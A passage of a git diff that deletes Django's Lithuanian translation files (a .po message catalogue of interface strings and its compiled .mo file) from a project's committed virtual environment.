%(directory)s" -msgstr "" - -msgid "Django: the Web framework for perfectionists with deadlines." -msgstr "" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" - -msgid "The install worked successfully! Congratulations!" -msgstr "" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not configured any " -"URLs." -msgstr "" - -msgid "Django Documentation" -msgstr "" - -msgid "Topics, references, & how-to’s" -msgstr "" - -msgid "Tutorial: A Polling App" -msgstr "" - -msgid "Get started with Django" -msgstr "" - -msgid "Django Community" -msgstr "" - -msgid "Connect, get help, or contribute" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/lt/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/lt/LC_MESSAGES/django.mo deleted file mode 100644 index ee14fecb..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/lt/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/lt/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/lt/LC_MESSAGES/django.po deleted file mode 100644 index 0c055a27..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/lt/LC_MESSAGES/django.po +++ /dev/null @@ -1,1324 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Jannis Leidel , 2011 -# Kostas , 2011 -# lauris , 2011 -# Mariusz Felisiak , 2021 -# Matas Dailyda , 2015-2019 -# naktinis , 2012 -# Nikolajus Krauklis , 2013 -# Povilas Balzaravičius , 2011-2012 -# Simonas Kazlauskas , 2012-2014 -# Vytautas Astrauskas , 2011 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2021-09-21 10:22+0200\n" -"PO-Revision-Date: 2021-11-24 16:28+0000\n" -"Last-Translator: Mariusz Felisiak \n" -"Language-Team: Lithuanian (http://www.transifex.com/django/django/language/" -"lt/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: lt\n" -"Plural-Forms: nplurals=4; plural=(n % 10 == 1 && (n % 100 > 19 || n % 100 < " -"11) ? 0 : (n % 10 >= 2 && n % 10 <=9) && (n % 100 > 19 || n % 100 < 11) ? " -"1 : n % 1 != 0 ? 2: 3);\n" - -msgid "Afrikaans" -msgstr "Afrikiečių" - -msgid "Arabic" -msgstr "Arabų" - -msgid "Algerian Arabic" -msgstr "" - -msgid "Asturian" -msgstr "Austrų" - -msgid "Azerbaijani" -msgstr "Azerbaidžaniečių" - -msgid "Bulgarian" -msgstr "Bulgarų" - -msgid "Belarusian" -msgstr "Gudų" - -msgid "Bengali" -msgstr "Bengalų" - -msgid "Breton" -msgstr "Bretonų" - -msgid "Bosnian" -msgstr "Bosnių" - -msgid "Catalan" -msgstr "Katalonų" - -msgid "Czech" -msgstr "Čekų" - -msgid "Welsh" -msgstr "Velso" - -msgid "Danish" -msgstr "Danų" - -msgid "German" -msgstr "Vokiečių" - -msgid "Lower Sorbian" -msgstr "Žemutinė Sorbų" - -msgid "Greek" -msgstr "Graikų" - -msgid "English" -msgstr "Anglų" - -msgid "Australian English" -msgstr "Australų Anlgų" - -msgid "British English" -msgstr "Britų Anglų" - -msgid "Esperanto" -msgstr "Esperanto" - -msgid "Spanish" -msgstr "Ispanų" - -msgid "Argentinian Spanish" -msgstr "Argentiniečių Ispanų" - -msgid "Colombian Spanish" -msgstr "Kolumbų Ispanų" - -msgid "Mexican Spanish" -msgstr "Meksikiečių Ispanų" - -msgid "Nicaraguan Spanish" -msgstr "Nikaragvos Ispanijos" - -msgid "Venezuelan Spanish" -msgstr "Venesuelos Ispanų" - -msgid "Estonian" -msgstr "Estų" - -msgid "Basque" -msgstr "Baskų" - -msgid "Persian" -msgstr "Persų" - -msgid "Finnish" -msgstr "Suomių" - -msgid "French" -msgstr "Prancūzų" - -msgid "Frisian" -msgstr "Fryzų" - -msgid "Irish" -msgstr "Airių" - -msgid "Scottish Gaelic" -msgstr "Škotų Gėlų" - -msgid "Galician" -msgstr "Galų" - -msgid "Hebrew" -msgstr "Hebrajų" - -msgid "Hindi" -msgstr "Hindi" - -msgid "Croatian" -msgstr "Kroatų" - -msgid "Upper Sorbian" -msgstr "Aukštutinė Sorbų" - -msgid "Hungarian" -msgstr "Vengrų" - -msgid "Armenian" -msgstr "Armėnų" - -msgid "Interlingua" -msgstr "Interlingua" - -msgid "Indonesian" -msgstr "Indoneziečių" - -msgid "Igbo" -msgstr "" - -msgid "Ido" -msgstr "Ido" - -msgid "Icelandic" -msgstr "Islandų" - -msgid "Italian" -msgstr "Italų" - -msgid "Japanese" -msgstr "Japonų" - -msgid "Georgian" -msgstr "Gruzinų" - -msgid "Kabyle" -msgstr "Kabilų" - -msgid "Kazakh" -msgstr "Kazachų" - -msgid "Khmer" -msgstr "Khmerų" - -msgid "Kannada" -msgstr "Dravidų" - -msgid "Korean" -msgstr "Korėjiečių" - -msgid "Kyrgyz" -msgstr "" - -msgid "Luxembourgish" -msgstr "Liuksemburgų" - -msgid "Lithuanian" -msgstr "Lietuvių" - -msgid "Latvian" -msgstr "Latvių" - -msgid "Macedonian" -msgstr "Makedonų" - -msgid "Malayalam" -msgstr "Malajalių" - -msgid "Mongolian" -msgstr "Mongolų" - -msgid "Marathi" -msgstr "Marati" - -msgid "Malay" -msgstr "" - -msgid "Burmese" -msgstr "Mjanmų" - -msgid "Norwegian Bokmål" -msgstr "Norvegų Bokmal" - -msgid "Nepali" -msgstr "Nepalų" - -msgid "Dutch" -msgstr "Olandų" - -msgid "Norwegian Nynorsk" -msgstr "Norvegų Nynorsk" - -msgid "Ossetic" -msgstr "Osetinų" - -msgid "Punjabi" -msgstr "Pandžabi" - -msgid "Polish" -msgstr "Lenkų" - -msgid "Portuguese" -msgstr "Protugalų" - -msgid "Brazilian Portuguese" -msgstr "Brazilijos Portugalų" - -msgid "Romanian" -msgstr "Rumunų" - -msgid "Russian" -msgstr "Rusų" - -msgid "Slovak" -msgstr "Slovakų" - -msgid "Slovenian" -msgstr "Slovėnų" - -msgid "Albanian" -msgstr "Albanų" - -msgid "Serbian" -msgstr "Serbų" - -msgid "Serbian Latin" -msgstr "Serbų Lotynų" - -msgid "Swedish" -msgstr "Švedų" - -msgid "Swahili" -msgstr "Svahili" - -msgid "Tamil" -msgstr "Tamilų" - -msgid "Telugu" -msgstr "Telugų" - -msgid "Tajik" -msgstr "" - -msgid "Thai" -msgstr "Tailando" - -msgid "Turkmen" -msgstr "" - -msgid "Turkish" -msgstr "Turkų" - -msgid "Tatar" -msgstr "Totorių" - -msgid "Udmurt" -msgstr "Udmurtų" - -msgid "Ukrainian" -msgstr "Ukrainiečių" - -msgid "Urdu" -msgstr "Urdu" - -msgid "Uzbek" -msgstr "" - -msgid "Vietnamese" -msgstr "Vietnamiečių" - -msgid "Simplified Chinese" -msgstr "Supaprastinta kinų" - -msgid "Traditional Chinese" -msgstr "Tradicinė kinų" - -msgid "Messages" -msgstr "Žinutės" - -msgid "Site Maps" -msgstr "Tinklalapio struktūros" - -msgid "Static Files" -msgstr "Statiniai failai" - -msgid "Syndication" -msgstr "Sindikacija" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "" - -msgid "That page number is not an integer" -msgstr "To puslapio numeris nėra sveikasis skaičius." - -msgid "That page number is less than 1" -msgstr "To numerio puslapis yra mažesnis už 1" - -msgid "That page contains no results" -msgstr "Tas puslapis neturi jokių rezultatų" - -msgid "Enter a valid value." -msgstr "Įveskite tinkamą reikšmę." - -msgid "Enter a valid URL." -msgstr "Įveskite tinkamą URL adresą." - -msgid "Enter a valid integer." -msgstr "Įveskite tinkamą sveikąjį skaičių." - -msgid "Enter a valid email address." -msgstr "Įveskite teisingą el. pašto adresą." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" - -msgid "Enter a valid IPv4 address." -msgstr "Įveskite validų IPv4 adresą." - -msgid "Enter a valid IPv6 address." -msgstr "Įveskite validų IPv6 adresą." - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "Įveskite validų IPv4 arba IPv6 adresą." - -msgid "Enter only digits separated by commas." -msgstr "Įveskite skaitmenis atskirtus kableliais." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" -"Įsitikinkite, kad reikšmę sudaro %(limit_value)s simbolių (dabar yra " -"%(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Įsitikinkite, kad reikšmė yra mažesnė arba lygi %(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Įsitikinkite, kad reikšmė yra didesnė arba lygi %(limit_value)s." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Įsitikinkite, kad reikšmė sudaryta iš nemažiau kaip %(limit_value)d ženklo " -"(dabartinis ilgis %(show_value)d)." -msgstr[1] "" -"Įsitikinkite, kad reikšmė sudaryta iš nemažiau kaip %(limit_value)d ženklų " -"(dabartinis ilgis %(show_value)d)." -msgstr[2] "" -"Įsitikinkite, kad reikšmė sudaryta iš nemažiau kaip %(limit_value)d ženklų " -"(dabartinis ilgis %(show_value)d)." -msgstr[3] "" -"Įsitikinkite, kad reikšmė sudaryta iš nemažiau kaip %(limit_value)d ženklų " -"(dabartinis ilgis %(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Įsitikinkite, kad reikšmė sudaryta iš nedaugiau kaip %(limit_value)d ženklo " -"(dabartinis ilgis %(show_value)d)." -msgstr[1] "" -"Įsitikinkite, kad reikšmė sudaryta iš nedaugiau kaip %(limit_value)d ženklų " -"(dabartinis ilgis %(show_value)d)." -msgstr[2] "" -"Įsitikinkite, kad reikšmė sudaryta iš nedaugiau kaip %(limit_value)d ženklų " -"(dabartinis ilgis %(show_value)d)." -msgstr[3] "" -"Įsitikinkite, kad reikšmė sudaryta iš nedaugiau kaip %(limit_value)d ženklų " -"(dabartinis ilgis %(show_value)d)." - -msgid "Enter a number." -msgstr "Įveskite skaičių." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Įsitikinkite, kad yra nedaugiau nei %(max)s skaitmuo." -msgstr[1] "Įsitikinkite, kad yra nedaugiau nei %(max)s skaitmenys." -msgstr[2] "Įsitikinkite, kad yra nedaugiau nei %(max)s skaitmenų." -msgstr[3] "Įsitikinkite, kad yra nedaugiau nei %(max)s skaitmenų." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "Įsitikinkite, kad yra nedaugiau nei %(max)s skaitmuo po kablelio." -msgstr[1] "Įsitikinkite, kad yra nedaugiau nei %(max)s skaitmenys po kablelio." -msgstr[2] "Įsitikinkite, kad yra nedaugiau nei %(max)s skaitmenų po kablelio." -msgstr[3] "Įsitikinkite, kad yra nedaugiau nei %(max)s skaitmenų po kablelio." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "Įsitikinkite, kad yra nedaugiau nei %(max)s skaitmuo prieš kablelį." -msgstr[1] "" -"Įsitikinkite, kad yra nedaugiau nei %(max)s skaitmenys prieš kablelį." -msgstr[2] "" -"Įsitikinkite, kad yra nedaugiau nei %(max)s skaitmenų prieš kablelį." -msgstr[3] "" -"Įsitikinkite, kad yra nedaugiau nei %(max)s skaitmenų prieš kablelį." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" - -msgid "Null characters are not allowed." -msgstr "Nuliniai simboliai neleidžiami." - -msgid "and" -msgstr "ir" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "%(model_name)s su šiais %(field_labels)s jau egzistuoja." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "Reikšmės %(value)r rinktis negalima." - -msgid "This field cannot be null." -msgstr "Šis laukas negali būti null." - -msgid "This field cannot be blank." -msgstr "Lauką privaloma užpildyti." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s su šiuo %(field_label)s jau egzistuoja." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or 'month'. -#. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s privalo būti unikalus %(date_field_label)s %(lookup_type)s." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Lauko tipas: %(field_type)s " - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "" - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "" - -msgid "Boolean (Either True or False)" -msgstr "Loginė reikšmė (Tiesa arba Netiesa)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Eilutė (ilgis iki %(max_length)s)" - -msgid "Comma-separated integers" -msgstr "Kableliais atskirti sveikieji skaičiai" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" - -msgid "Date (without time)" -msgstr "Data (be laiko)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" - -msgid "Date (with time)" -msgstr "Data (su laiku)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "" - -msgid "Decimal number" -msgstr "Dešimtainis skaičius" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" - -msgid "Duration" -msgstr "Trukmė" - -msgid "Email address" -msgstr "El. pašto adresas" - -msgid "File path" -msgstr "Kelias iki failo" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "" - -msgid "Floating point number" -msgstr "Realus skaičius" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "" - -msgid "Integer" -msgstr "Sveikas skaičius" - -msgid "Big (8 byte) integer" -msgstr "Didelis (8 baitų) sveikas skaičius" - -msgid "Small integer" -msgstr "Nedidelis sveikasis skaičius" - -msgid "IPv4 address" -msgstr "IPv4 adresas" - -msgid "IP address" -msgstr "IP adresas" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "" - -msgid "Boolean (Either True, False or None)" -msgstr "Loginė reikšmė (Tiesa, Netiesa arba Nieko)" - -msgid "Positive big integer" -msgstr "" - -msgid "Positive integer" -msgstr "Teigiamas sveikasis skaičius" - -msgid "Positive small integer" -msgstr "Nedidelis teigiamas sveikasis skaičius" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Unikalus adresas (iki %(max_length)s ženklų)" - -msgid "Text" -msgstr "Tekstas" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" - -msgid "Time" -msgstr "Laikas" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Neapdorota informacija" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "" - -msgid "Universally unique identifier" -msgstr "Universaliai unikalus identifikatorius" - -msgid "File" -msgstr "Failas" - -msgid "Image" -msgstr "Paveiksliukas" - -msgid "A JSON object" -msgstr "" - -msgid "Value must be valid JSON." -msgstr "" - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "%(model)s objektas su %(field)s %(value)r neegzistuoja." - -msgid "Foreign Key (type determined by related field)" -msgstr "Išorinis raktas (tipas nustatomas susijusiame lauke)" - -msgid "One-to-one relationship" -msgstr "Sąryšis vienas su vienu" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "%(from)s-%(to)s sąryšis" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "%(from)s-%(to)s sąryšiai" - -msgid "Many-to-many relationship" -msgstr "Sąryšis daug su daug" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Šis laukas yra privalomas." - -msgid "Enter a whole number." -msgstr "Įveskite pilną skaičių." - -msgid "Enter a valid date." -msgstr "Įveskite tinkamą datą." - -msgid "Enter a valid time." -msgstr "Įveskite tinkamą laiką." - -msgid "Enter a valid date/time." -msgstr "Įveskite tinkamą datą/laiką." - -msgid "Enter a valid duration." -msgstr "Įveskite tinkamą trukmę." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "Dienų skaičius turi būti tarp {min_days} ir {max_days}." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "Nebuvo nurodytas failas. Patikrinkite formos koduotę." - -msgid "No file was submitted." -msgstr "Failas nebuvo nurodytas." - -msgid "The submitted file is empty." -msgstr "Nurodytas failas yra tuščias." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Įsitikinkite, kad failo pavadinimas sudarytas iš nedaugiau kaip %(max)d " -"ženklo (dabartinis ilgis %(length)d)." -msgstr[1] "" -"Įsitikinkite, kad failo pavadinimas sudarytas iš nedaugiau kaip %(max)d " -"ženklų (dabartinis ilgis %(length)d)." -msgstr[2] "" -"Įsitikinkite, kad failo pavadinimas sudarytas iš nedaugiau kaip %(max)d " -"ženklų (dabartinis ilgis %(length)d)." -msgstr[3] "" -"Įsitikinkite, kad failo pavadinimas sudarytas iš nedaugiau kaip %(max)d " -"ženklų (dabartinis ilgis %(length)d)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "Nurodykite failą arba pažymėkite išvalyti. Abu pasirinkimai negalimi." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Atsiųskite tinkamą paveiksliuką. Failas, kurį siuntėte nebuvo paveiksliukas, " -"arba buvo sugadintas." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "Nurodykite tinkamą reikšmę. %(value)s nėra galimas pasirinkimas." - -msgid "Enter a list of values." -msgstr "Įveskite reikšmių sarašą." - -msgid "Enter a complete value." -msgstr "Įveskite pilną reikšmę." - -msgid "Enter a valid UUID." -msgstr "Įveskite tinkamą UUID." - -msgid "Enter a valid JSON." -msgstr "" - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Paslėptas laukelis %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" - -#, python-format -msgid "Please submit at most %d form." -msgid_plural "Please submit at most %d forms." -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" -msgstr[3] "" - -#, python-format -msgid "Please submit at least %d form." -msgid_plural "Please submit at least %d forms." -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" -msgstr[3] "" - -msgid "Order" -msgstr "Nurodyti" - -msgid "Delete" -msgstr "Ištrinti" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Pataisykite pasikartojančius duomenis laukui %(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" -"Pataisykite pasikartojančius duomenis laukui %(field)s. Duomenys privalo " -"būti unikalūs." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Pataisykite pasikartojančius duomenis laukui %(field_name)s. Duomenys " -"privalo būti unikalūs %(lookup)s peržiūroms per %(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "Pataisykite žemiau esančias pasikartojančias reikšmes." - -msgid "The inline value did not match the parent instance." -msgstr "Reikšmė nesutapo su pirminiu objektu." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "Pasirinkite tinkamą reikšmę. Parinkta reikšmė nėra galima." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "" - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" - -msgid "Clear" -msgstr "Išvalyti" - -msgid "Currently" -msgstr "Šiuo metu" - -msgid "Change" -msgstr "Pakeisti" - -msgid "Unknown" -msgstr "Nežinomas" - -msgid "Yes" -msgstr "Taip" - -msgid "No" -msgstr "Ne" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "taip,ne,galbūt" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d baitas" -msgstr[1] "%(size)d baitai" -msgstr[2] "%(size)d baitai" -msgstr[3] "%(size)d baitai" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "p.m." - -msgid "a.m." -msgstr "a.m." - -msgid "PM" -msgstr "PM" - -msgid "AM" -msgstr "AM" - -msgid "midnight" -msgstr "vidurnaktis" - -msgid "noon" -msgstr "vidurdienis" - -msgid "Monday" -msgstr "Pirmadienis" - -msgid "Tuesday" -msgstr "Antradienis" - -msgid "Wednesday" -msgstr "Trečiadienis" - -msgid "Thursday" -msgstr "Ketvirtadienis" - -msgid "Friday" -msgstr "Penktadienis" - -msgid "Saturday" -msgstr "Šeštadienis" - -msgid "Sunday" -msgstr "Sekmadienis" - -msgid "Mon" -msgstr "Pr" - -msgid "Tue" -msgstr "A" - -msgid "Wed" -msgstr "T" - -msgid "Thu" -msgstr "K" - -msgid "Fri" -msgstr "P" - -msgid "Sat" -msgstr "Š" - -msgid "Sun" -msgstr "S" - -msgid "January" -msgstr "sausis" - -msgid "February" -msgstr "vasaris" - -msgid "March" -msgstr "kovas" - -msgid "April" -msgstr "balandis" - -msgid "May" -msgstr "gegužė" - -msgid "June" -msgstr "birželis" - -msgid "July" -msgstr "liepa" - -msgid "August" -msgstr "rugpjūtis" - -msgid "September" -msgstr "rugsėjis" - -msgid "October" -msgstr "spalis" - -msgid "November" -msgstr "lapkritis" - -msgid "December" -msgstr "gruodis" - -msgid "jan" -msgstr "sau" - -msgid "feb" -msgstr "vas" - -msgid "mar" -msgstr "kov" - -msgid "apr" -msgstr "bal" - -msgid "may" -msgstr "geg" - -msgid "jun" -msgstr "bir" - -msgid "jul" -msgstr "lie" - -msgid "aug" -msgstr "rugp" - -msgid "sep" -msgstr "rugs" - -msgid "oct" -msgstr "spa" - -msgid "nov" -msgstr "lap" - -msgid "dec" -msgstr "grd" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "saus." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "vas." - -msgctxt "abbrev. month" -msgid "March" -msgstr "kov." - -msgctxt "abbrev. month" -msgid "April" -msgstr "bal." - -msgctxt "abbrev. month" -msgid "May" -msgstr "geg." - -msgctxt "abbrev. month" -msgid "June" -msgstr "birž." - -msgctxt "abbrev. month" -msgid "July" -msgstr "liep." - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "rugpj." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "rugs." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "spal." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "lapkr." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "gruod." - -msgctxt "alt. month" -msgid "January" -msgstr "sausio" - -msgctxt "alt. month" -msgid "February" -msgstr "vasario" - -msgctxt "alt. month" -msgid "March" -msgstr "kovo" - -msgctxt "alt. month" -msgid "April" -msgstr "balandžio" - -msgctxt "alt. month" -msgid "May" -msgstr "gegužės" - -msgctxt "alt. month" -msgid "June" -msgstr "birželio" - -msgctxt "alt. month" -msgid "July" -msgstr "liepos" - -msgctxt "alt. month" -msgid "August" -msgstr "rugpjūčio" - -msgctxt "alt. month" -msgid "September" -msgstr "rugsėjo" - -msgctxt "alt. month" -msgid "October" -msgstr "spalio" - -msgctxt "alt. month" -msgid "November" -msgstr "lapkričio" - -msgctxt "alt. month" -msgid "December" -msgstr "gruodžio" - -msgid "This is not a valid IPv6 address." -msgstr "Tai nėra teisingas IPv6 adresas." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "arba" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr "," - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" -msgstr[3] "" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" -msgstr[3] "" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" -msgstr[3] "" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" -msgstr[3] "" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" -msgstr[3] "" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" -msgstr[3] "" - -msgid "Forbidden" -msgstr "Uždrausta" - -msgid "CSRF verification failed. Request aborted." -msgstr "Nepavyko CSRF patvirtinimas. Užklausa nutraukta." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Jūs matote šią žinutę nes šis puslapis reikalauja CSRF slapuko, kai " -"pateikiama forma. Slapukas reikalaujamas saugumo sumetimais, kad užtikrinti " -"jog jūsų naršyklė nėra užgrobiama trečiųjų asmenų." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" - -msgid "More information is available with DEBUG=True." -msgstr "Gauti daugiau informacijos galima su DEBUG=True nustatymu." - -msgid "No year specified" -msgstr "Nenurodyti metai" - -msgid "Date out of range" -msgstr "Data išeina iš ribų" - -msgid "No month specified" -msgstr "Nenurodytas mėnuo" - -msgid "No day specified" -msgstr "Nenurodyta diena" - -msgid "No week specified" -msgstr "Nenurodyta savaitė" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "Nėra %(verbose_name_plural)s" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"Ateities %(verbose_name_plural)s nėra prieinami, nes %(class_name)s." -"allow_future yra False." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "Atitinkantis užklausą %(verbose_name)s nerastas" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Neegzistuojantis puslapis (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "" - -msgid "Directory indexes are not allowed here." -msgstr "Aplankų indeksai čia neleidžiami." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "" - -#, python-format -msgid "Index of %(directory)s" -msgstr "%(directory)s indeksas" - -msgid "The install worked successfully! Congratulations!" -msgstr "Diegimas pavyko! Sveikiname!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"Žiūrėti Django %(version)s išleidimo " -"pastabas" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not configured any " -"URLs." -msgstr "" -"Jūs matote šią žinutę dėl to kad Django nustatymų faile įvesta DEBUG = True ir Jūs nenustatėte jokių URL'ų." - 